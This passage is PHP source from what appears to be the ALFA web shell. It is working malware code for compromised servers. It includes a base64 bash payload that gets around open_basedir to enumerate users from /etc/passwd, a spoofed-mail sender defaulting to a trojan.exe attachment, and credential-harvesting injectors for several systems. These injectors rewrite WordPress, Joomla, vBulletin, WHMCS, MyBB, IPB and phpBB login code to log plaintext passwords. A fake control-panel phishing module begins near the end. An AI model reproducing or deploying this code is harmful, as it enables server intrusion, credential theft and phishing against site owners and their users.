@ini_get(\'open_basedir\');\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){\r\n$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";\r\n$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);\r\n$bash_users = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);\r\n$users = json_decode($bash_users, true);\r\n$x=count($users);\r\nif($x>=2){array_pop($users);--$x;}\r\n}\r\nif(!$basedir&&!$safe_mode){\r\n$x=0;\r\nforeach($passwd as $str){\r\n$pos = strpos($str,\':\');\r\n$username = substr($str,0,$pos);\r\n$dirz = str_replace("{user}", $username, $makepwd);\r\nif(($username != \'\')){\r\nif (@is_readable($dirz)){\r\narray_push($users,$username);\r\n$x++;\r\n}}}\r\n}\r\necho \'<br><br>\';\r\necho "<b><font color=\\"#00A220\\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FFFFFF\\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\\n"."<br /></font></b>";\r\necho "<b><font color=\\"#FF0000\\">[~] Searching for passwords in config files...\\n\\n"."<br /><br /><br /></font></b>";\r\nforeach($users as $user){\r\nif(empty($user))continue;\r\n$path = str_replace("{user}", $user, $makepwd);\r\necho "<form method=post onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";\r\n}\r\n}else{echo(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\');}\r\necho \'<br><br></b>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfamail(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(8,9,10);\r\necho \'<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\\\'mail\\\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\\\'>>\\\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">\';\r\n$table = array(\r\n\'td1\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mail To : \', \'inputName\' => \'mail_to\', \'inputValue\' => \'target@fbi.gov\', \'inputSize\' => \'60\',\'placeholder\' => true),\r\n\'td2\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'From : \', \'inputName\' => \'mail_from\', \'inputValue\' => \'sec@google.com\', \'inputSize\' => \'60\', \'placeholder\' => true),\r\n\'td3\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Subject : \', \'inputName\' => \'mail_subject\', \'inputValue\' => \'your site hacked by me\', \'inputSize\' => \'60\'),\r\n\'td4\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Attach File : \', \'inputName\' => \'mail_attach\', \'inputValue\' => $GLOBALS[\'cwd\'].\'trojan.exe\', \'inputSize\' => \'60\'),\r\n\'td5\' => array(\'color\' => \'FFFFFF\', \'tdName\' => \'Count Mail : \', \'inputName\' => \'count_mail\', \'inputValue\' => \'1\', \'inputSize\' => \'60\')\r\n);\r\ncreate_table($table);\r\necho \'<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&($_POST[\'alfa4\'] == \'>>\')){\r\n$mail_to = $_POST[\'alfa1\'];\r\n$mail_from = $_POST[\'alfa2\'];\r\n$mail_subject = $_POST[\'alfa3\'];\r\n$mail_content = $_POST[\'alfa5\'];\r\n$count_mail = (int)$_POST[\'alfa6\'];\r\n$mail_attach = $_POST[\'alfa7\'];\r\nif(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){\r\nif(!empty($mail_attach)&&@is_file($mail_attach)){\r\n$file = $mail_attach;\r\n$content = __read_file($file);\r\n$content = chunk_split(__ZW5jb2Rlcg($content));\r\n$uid = md5(uniqid(time()));\r\n$filename = basename($file);\r\n$headers = "From: ".$mail_from." <".$mail_from.">\\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= "Reply-To: ".$mail_from."\\r\\n";\r\n$headers .= "Content-Type: multipart/mixed; boundary=\\"".$uid."\\"\\r\\n\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n$mail_content = "--".$uid."\\r\\n";\r\n$mail_content .= "Content-type:text/plain; charset=iso-8859-1\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: 7bit\\r\\n\\r\\n";\r\n$mail_content .= $mail_content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."\\r\\n";\r\n$mail_content .= "Content-Type: application/octet-stream; name=\\"".$filename."\\"\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: base64\\r\\n";\r\n$mail_content .= "Content-Disposition: attachment; filename=\\"".$filename."\\"\\r\\n\\r\\n";\r\n$mail_content .= $content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."--";\r\n}else{\r\n$headers = "From: " . $mail_from. " ( ".$mail_from." ) \\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= \'Reply-To: \'.$mail_from.\'\' . "\\r\\n";\r\n$headers .= \'Content-type: text/html; charset=utf-8\' . "\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n}\r\nif(empty($count_mail)||$count_mail<1)$count_mail=1;\r\nif(!empty($mail_from)){echo __pre();\r\nfor($i=1;$i<=$count_mail;$i++){\r\nif(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");\r\n}}else{__alert("Invalid Mail From !");}\r\n}else{__alert("Invalid Mail To !");}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho \'<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>\r\n<form onSubmit="g(\\\'ziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\r\n<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\r\n<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'alfa.zip" size="60"/>\r\n<input type="submit" value=" " name="ziper" />\r\n</form></center></p>\';\r\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\r\n$dirzip = $_POST[\'alfa3\'];\r\n$zipfile = $_POST[\'alfa4\'];\r\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("powershell Compress-Archive -Path \'".addslashes($dirzip)."\' -DestinationPath \'".addslashes(basename($zipfile))."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("cd \'".addslashes(dirname($zipfile))."\';zip -r \'".addslashes(basename($zipfile))."\' \'".addslashes($dirzip)."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif(class_exists(\'ZipArchive\')){\r\nif(__alfaziper($dirzip, $zipfile)){\r\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font></p></center>\';\r\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction __alfaziper($source,$destination){\r\n\tif(!extension_loaded(\'zip\')||!file_exists($source)){\r\n\t\treturn false;\r\n\t}\r\n\t$zip=new ZipArchive();\r\n\tif(!$zip->open($destination,ZIPARCHIVE::CREATE)){\r\n\t\treturn false;\r\n\t}\r\n\t$source=str_replace(\'\\\\\',\'/\',realpath($source));\r\n\tif(is_dir($source)===true){\r\n\t\t$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);\r\n\t\tforeach($files as $file){\r\n\t\t\t$file=str_replace(\'\\\\\',\'/\',$file);\r\n\t\t\tif(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;\r\n\t\t\t$file=realpath($file);\r\n\t\t\tif(is_dir($file)===true){\r\n\t\t\t\t$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));\r\n\t\t\t}else if(is_file($file)===true){\r\n\t\t\t\t$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));\r\n\t\t\t}\r\n\t\t}\r\n\t}else if(is_file($source)===true){\r\n\t\t$zip->addFromString(basename($source),file_get_contents($source));\r\n\t}\r\n\treturn $zip->close();\r\n}\r\nfunction alfadeziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho \'<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>\r\n<form onSubmit="g(\\\'deziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\r\n<div class="txtfont">File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\r\n<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'" size="60"/>\r\n<input type="submit" value=" " name="ziper" />\r\n</form></center></p>\';\r\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\r\n$dirzip = $_POST[\'alfa3\'];\r\n$zipfile = $_POST[\'alfa4\'];\r\nif(@!is_dir($zipfile)){\r\n\t@mkdir($zipfile, 0777, true);\r\n}\r\n$finfo = "";\r\n$file_type = "";\r\nif(function_exists(\'finfo_open\')){\r\n$finfo = @finfo_open(FILEINFO_MIME_TYPE);\r\n$file_type = @finfo_file($finfo, $dirzip);\r\n@finfo_close($finfo);\r\n}else{\r\n\tif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\r\n\t\t$file_type = alfaEx(\'file -b --mime-type \' . $dirzip);\r\n\t}\r\n}\r\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("powershell expand-archive -path \'".addslashes($dirzip)."\' -destinationpath \'".addslashes(basename($zipfile))."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif($GLOBALS[\'sys\']==\'unix\'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx(\'which unzip\')) > 0||strlen(alfaEx(\'which tar\')) > 0||strlen(alfaEx(\'which gunzip\')) > 0)){\r\nswitch ($file_type) {\r\n\tcase \'application/zip\':\r\n\t\talfaEx("cd \'".addslashes($zipfile)."\';unzip \'".addslashes($dirzip)."\'");\r\n\tbreak;\r\n\tcase \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\r\n\t\tif(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){\r\n\t\t\talfaEx("cd \'".addslashes($zipfile)."\';tar xzf \'".addslashes($dirzip)."\'");\r\n\t\t}else{\r\n\t\t\talfaEx("cd \'".addslashes($zipfile)."\';gunzip \'".addslashes($dirzip)."\'");\r\n\t\t}\r\n\tbreak;\r\n}\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></b></p></center>\';\r\n}elseif(class_exists(\'ZipArchive\')){\r\n\t$itsok = false;\r\n\tif(emtpy($file_type)){\r\n\t\t$file_type = "application/zip";\r\n\t}\r\n\tswitch ($file_type) {\r\n\t\tcase \'application/zip\':\r\n\t\t\t$zip = new ZipArchive;\r\n\t\t\t$res = $zip->open($dirzip);\r\n\t\t\tif ($res) {\r\n\t\t\t\t$zip->extractTo($zipfile);\r\n\t\t\t\t$zip->close();\r\n\t\t\t\t$itsok = true;\r\n\t\t\t}\r\n\t\tbreak;\r\n\t\tcase \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\r\n\t\t\tif(strstr(basename($dirzip), ".tar.gz")){\r\n\t\t\t\t$new_file = $zipfile .\'/\'. basename($dirzip);\r\n\t\t\t\t@copy($dirzip, $new_file);\r\n\t\t\t\t$new_tar = str_replace(".tar.gz", ".tar", $new_file);\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$p = new PharData($new_file);\r\n\t\t\t\t\t$p->decompress();\r\n\t\t\t\t\t$phar = new PharData($new_tar);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t@unlink($new_file);\r\n\t\t\t\t\t@unlink($new_tar);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$phar = new PharData($dirzip);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\tbreak;\r\n\t}\r\nif($itsok){\r\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></p></center>\';\r\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacmshijacker(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho \'<div class=header><br>\r\n<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\\\'cmshijacker\\\',null,this.cmshi.value,this.saveto.value,\\\'>>\\\',this.cmspath.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">\';\r\n$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");\r\nforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\r\necho("</select>");\r\necho \' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">\r\nSaveTo: <input size="50" type="text" name="saveto" value="\'.$GLOBALS[\'cwd\'].\'alfa.txt"></font>\r\n<input type="submit" name="btn" value=" "></form></center><br>\';\r\n$cms = $_POST[\'alfa1\'];\r\n$saveto = $_POST[\'alfa2\'];\r\n$cmspath = $_POST[\'alfa4\'];\r\nif(!empty($cms) AND !empty($saveto) AND $_POST[\'alfa4\'] AND $_POST[\'alfa3\'] == \'>>\'){\r\necho __pre();\r\nalfaHijackCms($cms,$cmspath,$saveto);\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaHijackCms($cms,$cmspath,$saveto){\r\nswitch($cms){\r\ncase "vb":\r\nhijackvBulletin($cmspath,$saveto);\r\nbreak;\r\ncase "wp":\r\nhijackwp($cmspath,$saveto);\r\nbreak;\r\ncase "jom":\r\nhijackJoomla($cmspath,$saveto);\r\nbreak;\r\ncase "whmcs":\r\nhijackWhmcs($cmspath,$saveto);\r\nbreak;\r\ncase "mybb":\r\nhijackMybb($cmspath,$saveto);\r\nbreak;\r\ncase "ipb":\r\nhijackIPB($cmspath,$saveto);\r\nbreak;\r\ncase "phpbb":\r\nhijackPHPBB($cmspath,$saveto);\r\nbreak;\r\ndefault:\r\necho "error!";\r\nbreak;\r\n}\r\n}\r\nfunction hijackvBulletin($path,$saveto){\r\n$code=\'$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\\\'" . $alfa_username . "\\\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \\\' : \\\' . $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$clearpw = \'defined(\\\'DISABLE_PASSWORD_CLEARING\\\')\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login = $path."/login.php";\r\n$class = $path."/includes/class_bootstrap.php";\r\n$dologin = \'do_login_redirect();\';\r\n$evil_login = "\\t".$code."\\n\\t".$dologin;\r\n$evil_class = "true";\r\nif((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){\r\n$data_login = @file_get_contents($login);\r\n$data_class = @file_get_contents($class);\r\nif(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){\r\n$login_replace = str_replace($dologin,$evil_login, $data_login);\r\n$class_replace = str_replace($clearpw,$evil_class, $data_class);\r\n@file_put_contents($login, $login_replace);\r\n@file_put_contents($class, $class_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackwp($path,$saveto){\r\n$code = \'$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\\\'log\\\']." : ".$_POST[\\\'pwd\\\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$redirect_wp = \'#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/wp-login.php";\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(@preg_match($redirect_wp, $data_login, $match)){\r\n$evil_login = "\\t".$match[0]."\\n\\t".$code;\r\n$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackJoomla($path,$saveto){\r\n$code = \'<?php jimport(\\\'joomla.user.authentication\\\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\\\'username\\\'=>$_POST[\\\'username\\\'],\\\'password\\\'=>$_POST[\\\'passwd\\\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\\\'passwd\\\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$comp=$path."/administrator/components/com_login/";\r\nif(@is_file($comp."/login.php")){\r\n$login = $comp."/login.php";\r\n}elseif(@is_file($comp."/admin.login.php")){\r\n$login = $comp."/admin.login.php";\r\n}else{\r\n$login = \'\';\r\n}\r\nif(@is_file($login) AND @is_writable($login) AND $login != \'\'){\r\n$data_login = @file_get_contents($login);\r\n$evil_login = $code."\\n".$data_login;\r\n@file_put_contents($login, $evil_login);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackWhmcs($path,$saveto){\r\n$code = \'<?php if(isset($_POST[\\\'username\\\']) AND isset($_POST[\\\'password\\\']) AND !empty($_POST[\\\'username\\\']) AND !empty($_POST[\\\'password\\\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\\\'username\\\'];$alfa_pw = @$_POST[\\\'password\\\'];if(isset($_POST[\\\'language\\\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \\\'$alfa_uname\\\' AND `password` = \\\'".md5($alfa_pw)."\\\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \\\'$alfa_uname\\\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\\\':\\\', $row[\\\'password\\\']);$__encPW = md5($__salt[1].$_POST[\\\'password\\\']).\\\':\\\'.$__salt[1];if($row[\\\'password\\\'] == $__encPW){$allow = true;$row[\\\'username\\\'] = $row[\\\'email\\\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\\\'username\\\'] . \\\' : \\\' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \\\'is_admin\\\' : \\\'is_user\\\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$conf=$path."/configuration.php";\r\nif(@is_file($conf) AND @is_writable($conf)){\r\n$data_conf = @file_get_contents($conf);\r\nif(!strstr($data_conf,\'?>\'))$code = \'?>\'.$code;\r\n$evil_conf = $data_conf."\\n".$code;\r\n@file_put_contents($conf, $evil_conf);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackMybb($path,$saveto){\r\n$code = \'$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \\\'".$user[\\\'username\\\']."\\\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\\\'username\\\']." : ". $user[\\\'password\\\']." ( ".$alfa_fetch[\\\'email\\\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);\';\r\n$find = \'$loginhandler->complete_login();\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/member.php";\r\n$evil_login = "\\t".$code."\\n\\t".$find;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackIPB($path,$saveto){\r\n$code = \'$Alfa_q = $this->DB->buildAndFetch(array(\\\'select\\\' => \\\'email\\\', \\\'from\\\' => \\\'members\\\', \\\'where\\\' => \\\'name="\\\'.$username.\\\'" OR email="\\\'.$email.\\\'"\\\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\\\'ips_username\\\'].\\\' : \\\'.$_POST[\\\'ips_password\\\'].\\\' ( \\\'.$Alfa_q[\\\'email\\\'].\\\' )\\\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$find = \'unset( $member[\\\'plainPassword\\\'] );\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/admin/sources/handlers/han_login.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackPHPBB($path,$saveto){\r\n$code = \'$Alfa_u = request_var(\\\'username\\\', \\\'\\\');$Alfa_p = request_var(\\\'password\\\', \\\'\\\');if($Alfa_u != \\\'\\\' AND $Alfa_p != \\\'\\\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\\\'status\\\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\\\'user_row\\\'][\\\'user_email\\\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$find = \'case \\\'login\\\':\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/ucp.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackOutput($c=0,$p=\'\'){echo($c==0?"<center><font color=\'green\'>Success</font> --> path: $p</center>":\'<center><font color="red">Error in inject code !</font></center>\');}\r\nfunction Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){\r\nif(@is_dir($dir)){\r\n$files=@scandir($dir);\r\nforeach($files as $key => $value){\r\n$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);\r\nif(!@is_dir($path)){\r\nif($ext!=\'*\'){$f = basename($path);$f = explode(\'.\',$f);$f = end($f);if($f!=$ext)continue;}\r\nif($e==\'str\'){\r\n$content = @file_get_contents($path);\r\nif(strpos($content, $string) !== false){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}else{\r\nif(strstr($value,$string)){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}\r\n$results[] = $path;\r\n}elseif($value != "." && $value != "..") {\r\nAlfa_StrSearcher($path,$string,$ext,$e,$results);\r\n$results[] = $path;\r\n}}}}\r\nfunction alfafakepage(){\r\n\talfahead();\r\n\tAlfaNum(9,10);\r\n\techo \'<div class=header><br>\r\n\t<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\\\'fakepage\\\',null,this.clone_page.value,this.fake_root.value,\\\'>>\\\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">\';\r\n\t$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");\r\n\tforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\r\n\techo("</select></div>");\r\n\techo \'<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>\r\n\t<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/fake_page_root/"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/index.php"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: \'.$_SERVER["DOCUMENT_ROOT"].\'/wp-login.php"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" 